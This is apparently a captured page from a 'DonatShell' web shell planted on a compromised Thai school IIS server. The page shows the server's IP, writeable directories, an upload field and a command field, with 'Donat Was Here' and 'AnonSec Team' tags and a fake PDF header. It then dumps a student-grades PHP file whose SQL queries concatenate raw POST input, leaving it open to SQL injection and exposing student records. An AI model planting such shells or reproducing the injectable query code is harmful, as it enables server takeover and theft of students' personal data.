%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.154.253.140  /  Your IP : 216.73.216.49
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot-25650203-BK/wwwroot/mis/student_old/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/inetpub/wwwroot-25650203-BK/wwwroot/mis/student_old//main.php
<?PHP 

header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // Date in the past

header ("Last-Modified: " . date("D, d M Y H:i:s") . " GMT");

header ("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1

header ("Pragma: no-cache");

include("conf.php");

include "conf_mssql.php";



//echo "IDStudent: ".$_POST['IDStudent']." , PasswdStudent : ".$_POST['PasswdStudent'];

$sql="select * from TBStudent where IDStudent='".$_POST['IDStudent']."' and IDCitizen='".$_POST['PasswdStudent']."' and status=1";

//echo $sql;

$stmt = sqlsrv_query( $conn, $sql );

$statusLogin=0;

$StuName ="";

$StuClassRoom="";

$PLevel = "";

while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC)) {

	$statusLogin=1;

	$StuName = iconv("tis-620","utf-8",$row['PreName'])."".iconv("tis-620","utf-8",$row['NameFirst'])."  ".iconv("tis-620","utf-8",$row['NameLast']);

    $StuClassRoom = iconv("tis-620","utf-8",$row['PClass'])."/".iconv("tis-620","utf-8",$row['PRoom']);

    $PLevel = $row['PLevel'];

}

//echo $statusLogin;

if($statusLogin==0) {

	header( "location: index.php?s=0" );

	exit(0);

}

$IDStudent = $_POST['IDStudent'];

if($PLevel>"2") {

    $sql="select RegYear,RegTerm from TScore inner join TSubject on TSubject.PSubjectCode = TScore.PSubjectCode Inner join Academic_ShowGrade on Academic_ShowGrade.AYear = TScore.RegYear and Academic_ShowGrade.Term = TScore.RegTerm where IDStudent='".$IDStudent."' group by RegYear,RegTerm order by RegYear desc ,RegTerm desc";

} else {

    $sql="select RegYear,RegTerm from TScore inner join TSubject on TSubject.PSubjectCode = TScore.PSubjectCode Inner join Academic_ShowGrade on Academic_ShowGrade.AYear = TScore.RegYear where IDStudent='".$IDStudent."' group by RegYear,RegTerm order by RegYear desc ,RegTerm desc";

}

//echo $sql;

$i=0;

$stmt = sqlsrv_query( $conn, $sql );

while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC)) {

    $RegYear[$i] = $row["RegYear"];

    if($PLevel>"2")

        $RegTerm[$i] = $row["RegTerm"];

    else

        $RegTerm[$i] = "_";

	$i++;

}

?>

<!DOCTYPE HTML>

<!--

	Astral by HTML5 UP

	html5up.net | @ajlkn

	Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)

-->

<html>

	<head>

		<title>สารสนเทศสำหรับนักเรียน</title>

		<meta charset="utf-8" />

		<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />

		<link rel="stylesheet" href="assets/css/main.css" />

		<noscript><link rel="stylesheet" href="assets/css/noscript.css" /></noscript>

		<link href="https://fonts.googleapis.com/css?family=Chakra+Petch" rel="stylesheet">

		<style>

		body {

			font-family: 'Chakra Petch', sans-serif; 

		}

		</style>

	</head>

	<body class="is-preload">



		<!-- Wrapper-->

			<div id="wrapper">



				<!-- Nav -->

					<nav id="nav">

						<a href="#" class="icon fa-home"><span>ประวัติ</span></a>

						<a href="#Academic" class="icon fa-folder"><span>วิชาการ</span></a>

                        <a href="#NoPass" class="icon fa-folder"><span>ไม่ผ่านเกณฑ์</span></a>

					</nav>



				<!-- Main -->

					<div id="main">



						<!-- Me -->

							<article id="home" class="panel intro">

								<header>

									<h1>ข้อมูลทางวิชาการ</h1>

									<p><?PHP echo $StuName ." รหัส ".$_POST['IDStudent']." ชั้น ".$StuClassRoom; ?></p>

								</header>

								<a href="#Academic" class="jumplink pic">

									<span class="arrow icon fa-chevron-right"><span>See my work</span></span>

									<img src="images/me.jpg" alt="" />

								</a>

							</article>



						<!-- Work -->

							<article id="Academic" class="panel">

                            <header>

									<h2>ผลการเรียน</h2>

							</header>

                            <table class="table table-striped">



								<?PHP 

								for($j=0;$j<$i;$j++) {

									echo "<tr><td></td><td align='center'>ผลการเรียนของนักเรียน ปีการศึกษา ".$RegTerm[$j]."/".$RegYear[$j]."</td><td></td></tr>";

                                    echo "<tr><td align='center'>ลำดับ</td><td align='center'>รายวิชา</td><td align='center'>ผลการเรียน</td></tr>";

                                    // ตรวจสอบการเปิดปิดระบบ

                                    if($RegTerm[$j]=="1" || $RegTerm[$j]=="2") {

                                        $sql="select ShowGrade_Payed,ShowGrade_Unpay from Academic_ShowGrade where AYear='".$RegYear[$j]."' and Term='".$RegTerm[$j]."'";

                                    } else {

                                        $sql="select ShowGrade_Payed,ShowGrade_Unpay from Academic_ShowGrade where AYear='".$RegYear[$j]."'";

                                    }

                                    $stmt = sqlsrv_query( $conn, $sql );

                                    $ShowGrade_Payed=0;

                                    $ShowGrade_Unpay=0;

                                    while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC)) {

                                        $ShowGrade_Payed = $row['ShowGrade_Payed'];

                                        $ShowGrade_Unpay = $row['ShowGrade_Unpay'];

                                    }

                                    // จบการตรวจสอบการเปิดปิดเกรด

                                    if($PLevel>"2") 

                                        $sql="select * from TB_StudentFees where IDStudent='".$IDStudent."' and AYear='".$RegYear[$j]."' and Term='".$RegTerm[$j]."' and ReceiptNumber  is null";

                                    else

                                        $sql="select * from TB_StudentFees where IDStudent='".$IDStudent."' and AYear='".$RegYear[$j]."'  and ReceiptNumber  is null";

                                    $Payed = 1; // ถ้าค้างชำระในภาคเรียนนั้น Payed = 0 

                                    $stmt = sqlsrv_query( $conn, $sql );

                                    while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC)) {

                                        $Payed = 0;

                                    }

                                    // รายวิชาปกติ

                                    $sql="select RegYear,RegTerm,TSubject.PSubjectCode,TSubject.PSubjectName , PGradeForCal,TSubject.PSubjectCredit ,Pass from TScore inner join TSubject on TSubject.PSubjectCode = TScore.PSubjectCode LEFT join LT_GradeSystem on LT_GradeSystem.GradeName = TScore.PGradeForCal where IDStudent='".$IDStudent."' and RegYear='".$RegYear[$j]."' and RegTerm='".$RegTerm[$j]."' order by RegYear desc ,RegTerm desc,PSubjectCode";

                                    //echo $sql."<BR><BR><BR>";

									$stmt = sqlsrv_query( $conn, $sql );

									$n=1;

									$sumPower=0;

									$sumCredit=0;

									while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC)) {

										$sumPower = $sumPower + ($row["PGradeForCal"]*$row["PSubjectCredit"]);

										$sumCredit = $sumCredit + $row["PSubjectCredit"];

										echo "<tr><th scope=\"row\" align='center'>".$n."</th>

										<td>".iconv("tis-620","utf-8",$row["PSubjectCode"])." : ".iconv("tis-620","utf-8",$row["PSubjectName"])."</td>

                                        <td align='center'>";

                                        if($ShowGrade_Payed == 1 || $ShowGrade_Unpay ==1) { // เปิดระบบ

                                            if($Payed==0 && $ShowGrade_Unpay == 1 ) {  // ยังไม่จ่ายแต่ให้แสดง

                                                if($row['Pass']=="1")

                                                    echo "<font color='#0F9D58'>ผ่านเกณฑ์ประเมิน</font>"; //echo $row["PGradeForCal"];

                                                else if($row['Pass']=="0")

                                                    echo "<font color='#DB4437'>ไม่ผ่านเกณฑ์ประเมิน</font>"; //echo $row["PGradeForCal"];

                                                else

                                                    echo "อยู่ในกระบวนการพิจารณา";

                                            } else if($Payed == 1  && $row['Pass']=="1") {  

                                                echo "<font color='#0F9D58'>ผ่านเกณฑ์ประเมิน</font>";  // echo $row["PGradeForCal"];

                                            } else if($Payed == 1  && $row['Pass']=="0") {

                                                echo "<font color='#DB4437'>ไม่ผ่านเกณฑ์ประเมิน</font>";  // echo $row["PGradeForCal"];

                                            } else { 

                                                echo "อยู่ในกระบวนการพิจารณา";

                                            }

                                        } else {

                                            echo "อยู่ในกระบวนการพิจารณา";

                                        }

                                        echo "</td> 

									</tr>";

										$n++;

                                    }



                                    // รายวิชากิจกรรม

                                    $sql="select AYear,Term,TBStudentActivity.ActivityCode,LT_Activity.ActivityName,isnull(TBStudentActivity.ActEval,'-') as ActEval , '0'  from TBStudentActivity Inner join LT_Activity on TBStudentActivity.ActivityCode  = LT_Activity.ActivityCode where IDStudent='".$IDStudent."' and AYear='".$RegYear[$j]."' and Term='".$RegTerm[$j]."'";

                                    

									$stmt = sqlsrv_query( $conn, $sql );

									 

									while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC)) {

                                        echo "<tr><th scope=\"row\" align='center'>".$n."</th>

										<td>".iconv("tis-620","utf-8",$row["ActivityCode"])." : ".iconv("tis-620","utf-8",$row["ActivityName"])."</td>

                                        <td align='center'>";

                                        //echo "ActEval".$row['ActEval']."_".$ShowGrade_Payed."_".$ShowGrade_Unpay; 

                                        if($ShowGrade_Payed == 1 || $ShowGrade_Unpay == 1) {  // เปิดอันใดอันหนึ่งหรือไม่

                                            if($Payed==0 && $ShowGrade_Unpay == 1) { // ไม่ได้จ่ายแต่ให้แสดง

                                                if(iconv("tis-620","utf-8",$row["ActEval"])=="ผ") 

                                                    echo "<font color='#0F9D58'>ผ่านเกณฑ์ประเมิน</font>";  //echo iconv("tis-620","utf-8",$row["ActEval"]);

                                                else if($row["ActEval"]=="-")

                                                    echo "อยู่ในกระบวนการพิจารณา";  //echo iconv("tis-620","utf-8",$row["ActEval"]);

                                                else

                                                    echo "<font color='#DB4437'>ไม่ผ่านเกณฑ์ประเมิน</font>";

                                            } else if($Payed == 1) { // จ่ายแล้ว

                                                if(iconv("tis-620","utf-8",$row["ActEval"])=="ผ")

                                                    echo "<font color='#0F9D58'>ผ่านเกณฑ์ประเมิน</font>";  //echo iconv("tis-620","utf-8",$row["ActEval"]);

                                                else if($row["ActEval"]=="-")

                                                    echo "อยู่ในกระบวนการพิจารณา";  //echo iconv("tis-620","utf-8",$row["ActEval"]);

                                                else

                                                    echo "<font color='#DB4437'>xไม่ผ่านเกณฑ์ประเมิน</font>";

                                            } else { // ยังไม่จ่ายและให้แสดง

                                                echo "อยู่ในกระบวนการพิจารณา";

                                            }

                                        } else {

                                            echo "อยู่ในกระบวนการพิจารณา";

                                        } 

                                        echo "</td></tr>";

                                        $n++;

                                    }

                                    // สรุป GPA

                                    /*

                                    echo "<tr><td align='center'></td><td align='center'>ผลการเรียนเฉลี่ย</td><td align='center'>";

                                    if($ShowGrade_Payed == 1 || $ShowGrade_Unpay ==1) {

                                        if($Payed==0) {

                                            if($ShowGrade_Unpay == 1)

                                                echo substr(number_format(($sumPower/$sumCredit),3),0,4);

                                            else

                                                echo "-";

                                        } else if($Payed == 1) {

                                            echo substr(number_format(($sumPower/$sumCredit),3),0,4);

                                        }

                                    } else {

                                        echo "-";

                                    }

                                    echo "</td></tr>";

                                    */

                                    echo "<tr><td colspan='3'><hr></td></tr>";

                                    

								}

								?>

                                </tbody>

                            </table>

                            </article>



                            <!-- Me -->

							<article id="NoPass" class="panel"> 

                            <header>

									<h2>รายวิชาไม่ผ่านเกฑณ์</h2>

                            <?PHP 

                            

                            ?>

							</header>

                                    <table class="table table-striped">

                                    <tr>

                                        <td>ปีการศึกษา</td> 

                                        <td>รหัสวิชา</td>

                                        <td>ชื่อวิชา</td>

                                        <td>ผลการเรียน</td>

                                    </tr>

                                    <?PHP 

                                    // รายวิชาปกติ

                                    $sql="select TScore.RegYear,RegTerm, TScore.PSubjectCode,TSubject.PSubjectName,PGradeForCal from TScore inner join LT_GradeSystem on LT_GradeSystem.GradeName = TSCore.PGradeForCal

                                    inner join TSubject on TSubject.PSubjectCode = TScore.PSubjectCode

                                     where LT_GradeSystem.Pass=0  and IDStudent ='".$IDStudent."'";

                                    //echo $sql;

                                    $i=1;

									$stmt = sqlsrv_query( $conn, $sql ); 

									while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC)) {

                                        echo "<tr><td>".iconv("tis-620","utf-8",$row['RegTerm'])."/".$row['RegYear']."</td><td>".iconv("tis-620","utf-8",$row['PSubjectCode'])."</td><td>".iconv("tis-620","utf-8",$row['PSubjectName'])."</td><td>"; 



                                        // ตรวจสอบการเปิดปิดระบบ

                                    if($row['RegTerm']=="1" || $row['RegTerm']=="2") {

                                        $sqlCK="select ShowGrade_Payed,ShowGrade_Unpay from Academic_ShowGrade where AYear='".$row['RegYear']."' and Term='".$row['RegTerm']."'";

                                    } else {

                                        $sqlCK="select ShowGrade_Payed,ShowGrade_Unpay from Academic_ShowGrade where AYear='".$row['RegYear']."'";

                                    }

                                    // echo $sqlCK;

                                    $stmtCK = sqlsrv_query( $conn, $sqlCK );

                                    $ShowGrade_Payed=0;

                                    $ShowGrade_Unpay=0;

                                    while( $rowCK = sqlsrv_fetch_array( $stmtCK, SQLSRV_FETCH_ASSOC)) {

                                        $ShowGrade_Payed = $rowCK['ShowGrade_Payed'];

                                        $ShowGrade_Unpay = $rowCK['ShowGrade_Unpay'];

                                    }

                                    // จบการตรวจสอบการเปิดปิดเกรด  

                                    $sqlUnPay ="select * from TB_StudentFees where IDStudent='".$IDStudent."' and AYear='".$row['RegYear']."' and Term='".$row['RegTerm']."' and ReceiptNumber  is null";

                                    //echo $sqlUnPay;

                                    $Payed = 1; // ถ้าค้างชำระในภาคเรียนนั้น Payed = 0 

                                    $stmtUnPay  = sqlsrv_query( $conn, $sqlUnPay );

                                    while($rowUnPay = sqlsrv_fetch_array( $stmtUnPay , SQLSRV_FETCH_ASSOC)) {

                                        $Payed = 0;

                                    }



                                    //echo $ShowGrade_Payed."-".$ShowGrade_Unpay;

                                        if($ShowGrade_Payed == 1 || $ShowGrade_Unpay == 1) {

                                            if($Payed==0 && $ShowGrade_Unpay == 1) {

                                                echo iconv("tis-620","utf-8",$row['PGradeForCal']);

                                            } else if($Payed == 1) {

                                                echo iconv("tis-620","utf-8",$row['PGradeForCal']);

                                            } else { 

                                                echo "อยู่ในกระบวนการพิจารณา.";

                                            }

                                        } else {

                                            echo "อยู่ในกระบวนการพิจารณา.";

                                        }

                                        echo "</td></tr>";

                                        $i++;

                                    }

                                    // รายวิชากิจกรรม

                                    $sql="select AYear,Term,LT_Activity.ActivityCode,LT_Activity.ActivityName,TBStudentActivity.ActEval from TBStudentActivity inner join LT_Activity on LT_Activity.ActivityCode = TBStudentActivity.ActivityCode

                                    where IDStudent ='".$IDStudent."' and isnull(ActEval,'') !='' and ActEval!='".iconv("utf-8","tis-620","ผ")."'"; 

                                    $stmt = sqlsrv_query( $conn, $sql ); 

									while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC)) {

                                        echo "<tr><td>".iconv("tis-620","utf-8",$row['Term'])."/".$row['AYear']."</td><td>".iconv("tis-620","utf-8",$row['ActivityCode'])."</td><td>".iconv("tis-620","utf-8",$row['ActivityName'])."</td><td>";

                                        if($ShowGrade_Payed == 1 || $ShowGrade_Unpay == 1) {  // เปิดระบบแล้ว

                                            if($Payed==0 && $ShowGrade_Unpay==1) { // ยังไม่จ่าย แต่ให้แสดง

                                                echo iconv("tis-620","utf-8",$row['ActEval']);

                                            } else if($Payed == 1) { // จ่ายแล้ว

                                                echo iconv("tis-620","utf-8",$row['ActEval']);

                                            } else { // ยังไม่จ่าย และไม่ให้แสดง

                                                echo "อยู่ในกระบวนการพิจารณา";

                                            }

                                        } else {

                                            echo "อยู่ในกระบวนการพิจารณา";

                                        }

                                        echo "</td></tr>";

                                        $i++;

                                    }

                                    if($i==1) {

                                        echo "<tr align='center'><td colspan='4'>ไม่มีรายวิชาที่ไม่ผ่านเกณฑ์</td></tr>";

                                    }

                                    ?>

                                    </table> 

								</header> 

							</article>

								

								 



						 

				<!-- Footer -->

					<div id="footer">

						<ul class="copyright">

							<li>&copy; webmaster , Kowittamrongchiangmai </li>

						</ul>

					</div>



			</div>



		<!-- Scripts -->

			<script src="assets/js/jquery.min.js"></script>

			<script src="assets/js/browser.min.js"></script>

			<script src="assets/js/breakpoints.min.js"></script>

			<script src="assets/js/util.js"></script>

			<script src="assets/js/main.js"></script>



	</body>

</html>

Anon7 - 2022
AnonSec Team